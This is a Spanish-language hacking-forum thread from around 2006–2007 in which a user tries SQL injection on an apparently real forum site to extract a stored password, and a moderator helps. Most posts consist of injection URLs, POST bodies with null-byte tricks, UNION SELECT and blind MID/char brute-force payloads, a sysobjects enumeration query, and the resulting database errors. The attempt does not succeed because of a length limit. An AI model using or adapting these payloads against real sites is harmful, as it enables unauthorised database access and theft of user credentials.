elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 13:29  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Inyeccion SQL casi ...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Inyeccion SQL casi ...  (Leído 2,986 veces)
punxos

Desconectado Desconectado

Mensajes: 66


Ver Perfil
Inyeccion SQL casi ...
« en: 30 Diciembre 2006, 03:30 »

Hola a todos.

Estoy intentando una inyeccion, ejecuto lo siguiente:

http://ipalforo/profile.php?mode=viewprofile&u='2;'%20UNION%20SELECT%20MIN(Password),2,3,4,5%20FROM%20usuarios%20WHERE%20user%20=%20'zanahoria

y consigo:

SQL Error : Line 3: Incorrect syntax near '2'.

SELECT * FROM users WHERE username = '\'2;\' UNION SELECT MIN(Pas' AND user_id <> -1

Es como si se cortase, solo puedo escribir X caracteres a partir osea la select tiene que ser mas corta creo.





Otra mas que ejecuto es:

http://ipalforo/profile.php?mode=viewprofile&u='2;

Con lo que obtengo:

SQL Error : Unclosed quotation mark before the character string ' AND user_id <> -1'.

SELECT * FROM users WHERE username = '\'2;' AND user_id <> -1



Otro ejemplo:

http://ipalforo/profile.php?mode=viewprofile&u=''%20union%20select%20*%20from%20fish_users'2;

y consigo:

QL Error : Line 3: Incorrect syntax near '\'.

SELECT * FROM users WHERE username = '\'\' union select * from fi' AND user_id <> -1

He probado muchas otras cosas y consigo cosas similares, pero no se como arreglarmelas con el union , para sacar el password y sacarla por pantalla , alguna ayuda ?

Gracias.  :P :P :P

PD: Este post lo puse en http://foro.elhacker.net/index.php/topic,98448.30.html pero como nadie repondia lo pongo aqui, por si no era su sitio adecuado, si el moderador lo cree oportuno que borre cualquiera de ellos.
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Inyeccion SQL casi ...
« Respuesta #1 en: 31 Diciembre 2006, 07:43 »

sinceramente que tontos los porgramadores de eso xD
pusieron con comillas simples las querys xDDDD

mmm el unico problema que veo, es lo del limite de caracteres..

intenta:

' AND MID(password,0,1)=char(61)
' AND MID(password,0,1)=char(62)
' AND MID(password,0,1)=char(63)
' AND MID(password,0,1)=char(64)

etc..

Saludos!!
En línea

punxos

Desconectado Desconectado

Mensajes: 66


Ver Perfil
Re: Inyeccion SQL casi ...
« Respuesta #2 en: 31 Diciembre 2006, 17:13 »

Hola,

Si ejecuto:

http://url/profile.php?mode=viewprofile&u='%20AND%20MID(password,0,1)=char(61)

Obtengo:

Código:
SQL Error : Unclosed quotation mark before the character string ' AND user_id <> -1'.

SELECT * FROM fish_users WHERE username = '\' AND MID(password,0,1)=c' AND user_id <> -1

Line : 135
File : functions.php

Se puede observar que se corta.

 :P

Y si le que quito el "char(61)" obtengo:

Código:
SELECT * FROM xxxx WHERE username = '\' AND MID(password,0,1)' AND user_id <> -1

Aqui no se corta pero no hace nada.
 :)

Por otra lado he conseguido lo siguiente:

url ---------->  http://urlalforo/login.php?redirect=profile%2Ephp
variables en modo POST: ->
Código:
username=%00'&password=111-222-1933email@address.com&autologin=off&login=Entrar

Consigo el siguiente error:

Código:
SQL Error : Line 3: Incorrect syntax near '\'.

SELECT user_id, username, user_password, user_active, user_level FROM xxxx WHERE username = '\


Si en la variable username le pongo comilla simple en vez de %00' no sale el error.

Y la ultima prueba:
parece que tambien corta, como cucho puedo escribir en las variables:

Código:
username=amparo pepep pepepppppp%00'&password=111-222-1933email@address.com&autologin=off&login=Entrar

Si escribo una "p" mas ya nosale el error, supongo que es por que corta la cadena, y el %00' ya no entraria.

Osea solo puedo escribir 22 caracteres sin contar el %00'

Sale:
Código:
SQL Error : Line 3: Incorrect syntax near 'amparo pepep pepepppppp\'.

SELECT user_id, username, user_password, user_active, user_level FROM xxxx WHERE username = 'amparo pepep pepepppppp\


Y Dejando las variables:

Código:
username='and min(username) %00'&password=111-222-1933email@address.com&autologin=off&login=Entrar

Obtengo:
Código:
SQL Error : Line 3: Incorrect syntax near ''and min(username) \'.

SELECT user_id, username, user_password, user_active, user_level FROM fish_users WHERE username = '''and min(username) \


Bueno estas son las pruebas que estoy realizando. Solo comentar una última cosa, si le quito el %00' a la variable username y se lo pongo a password, no da error.

Saludos y dentro de unas horas, feliz año nuevo a tod@s.      :) :) :) :P :) :) :) :P :) :) :)
« Última modificación: 2 Enero 2007, 03:45 por punxos » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Inyeccion SQL casi ...
« Respuesta #3 en: 1 Enero 2007, 01:32 »

la ultima inyeccion ponla con 1 sola comilla, y ve si no hay inyeccion en el password..
lee tutoriales de inyecciones SQL..

Saludos!!
En línea

punxos

Desconectado Desconectado

Mensajes: 66


Ver Perfil
Re: Inyeccion SQL casi ...
« Respuesta #4 en: 2 Enero 2007, 05:02 »

Hola,

Pues dejarla con una comilla sola,supongo que te refieres a que
Código:
username='and min(username) %00'&password=111-222-1933email@address.com&autologin=off&login=Entrar
la deje sin el
Código:
%00'
pero entonces no da error.
En el password no logro que pare de ninguna de las maneras, osea no hay inyeccion en el password. Por lo visto el limite es 22 caracteres para escribir,con lo que sql tiene que ser corta.
Tiene las magic quotes activadas por lo visto. Y no puedo escribir mucho, lo tengo dificil no?

Saludos.

PD: He leido algunos de inyeccion sql, recomiendame alguno, gracias.
« Última modificación: 2 Enero 2007, 05:14 por punxos » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Inyeccion SQL casi ...
« Respuesta #5 en: 3 Enero 2007, 04:42 »

pues no da error porque la sentencia esta bien xD
el problema que tienes es que tienes un maximo de caracteres.. y necesitas al menos 19 para lo de fuerza bruta xD

no uses el %00, por lo pronto no te servira de nada.

Saludos!!
En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: Inyeccion SQL casi ...
« Respuesta #6 en: 5 Enero 2007, 14:28 »

Citar
Osea solo puedo escribir 22 caracteres sin contar el %00'

con esto te refieres al maxlength del objeto o es el script quien te inpide escribir mas caracteres?
En línea
punxos

Desconectado Desconectado

Mensajes: 66


Ver Perfil
Re: Inyeccion SQL casi ...
« Respuesta #7 en: 6 Enero 2007, 06:35 »

Hola,

No, no és el script, ya que la longitud maxima de una caja de texto es facil burlarla, me refiero a que si escribo mas, no los interpreta, lo he contado desplazando el
Código:
%00'
hasta que ya no sale el error.

Por otra lado la fuerza bruta parece que no podrá realizarse con 22 carácteres solamente, he ejecutado lo siguiente:

Código:
http://foro/profile.php?mode=viewprofile&u=2%20and%20USER_NAME()%20=%20'admin'
Obteniendo:
Código:
SQL Error : Unclosed quotation mark before the character string ' AND user_id <> -1'.

SELECT * FROM xxxxx WHERE username = '2 and USER_NAME() = \'admi' AND user_id <> -1

Con lo que parece sustitulle la comilla simple por la comilla + barra invertida. Ejecutando lo mismo pero sin las comillas simples:
Código:
http://foro/profile.php?mode=viewprofile&u=2%20and%20USER_NAME()%20=%20admin
Obtengo:
Código:
Lo sentimos pero ese usuario no existe

Y si ejecuto lo mismo poniendo cualquier usuario en vez de admin pues me dice lo mismo,con lo que deduzco que no está funcionando bien.

Por otro lado otras más complejas como:
Código:
http://foro/profile.php?mode=viewprofile&u=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
Ni las intento por que solo tengo 22 caracteres a partir del id=2.

Bueno si alguien puede aportar algo, por que creo que lo tengo mal, gracias a todos por intentar ayudarme.

Saludos.
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Inyeccion SQL casi ...
« Respuesta #8 en: 6 Enero 2007, 06:46 »

pues xD
el limite de caracteres en este caso es mortal :P

no se me ocurre como saltarlo.. lo siento.. pero no veo mucho potencial en este bug..

Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines